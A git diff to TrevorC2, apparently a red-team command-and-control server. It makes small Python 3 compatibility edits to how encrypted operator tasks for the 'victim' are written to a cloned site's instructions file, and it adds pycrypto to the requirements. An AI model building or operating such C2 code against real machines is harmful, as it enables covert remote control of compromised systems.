diff --git a/CHANGELOG.txt b/CHANGELOG.txt
index 6fc3cc5..dcfb6e9 100644
--- a/CHANGELOG.txt
+++ b/CHANGELOG.txt
@@ -6,6 +6,8 @@ version 0.3
 * add root path query which allows you to change the file/location where the code is contained within trevorc2
 * add full support for Python2/3 AES support for encrypted transfer of data
 * fix control-c from exiting properly, kill process
+* couple minor fixes for python3 compatibility
+* update requirements.txt for pycrypto
 
 ~~~~~~~~~~~~~~~~
 version 0.2
diff --git a/requirements.txt b/requirements.txt
index 2aa6ea7..dde9669 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,2 +1,3 @@
 bleach
 tornado
+pycrypto
diff --git a/trevorc2_server.py b/trevorc2_server.py
index eeb41a3..ca5e46b 100644
--- a/trevorc2_server.py
+++ b/trevorc2_server.py
@@ -201,7 +201,7 @@ class SPQ(tornado.web.RequestHandler):
 
         with open("clone_site/instructions.txt", "w") as fh:
             no_instructions = cipher.encrypt("nothing".encode())
-            fh.write(no_instructions.decode())
+            fh.write(no_instructions)
 
 def main_c2():
     """Start C2 Server."""
@@ -277,7 +277,7 @@ if __name__ == "__main__":
     # here we say no instructions to the client
     with open("clone_site/instructions.txt", "w") as fh:
         no_instructions = cipher.encrypt("nothing".encode())
-        fh.write(no_instructions.decode())
+        fh.write(no_instructions)
 
     print("[*] Next, enter the command you want the victim to execute.")
     print("[*] Client uses random intervals, this may take a few.")
@@ -291,7 +291,7 @@ if __name__ == "__main__":
                 sys.exit("Not sure I support this version of Python.")
             task_out = cipher.encrypt(task.encode())
             with open("clone_site/instructions.txt", "w") as fh:
-                fh.write(task_out.decode())
+                fh.write(task_out)
             print("[*] Waiting for command to be executed, be patient, results will be displayed here...")
             while 1:
                 # we received a hit with our command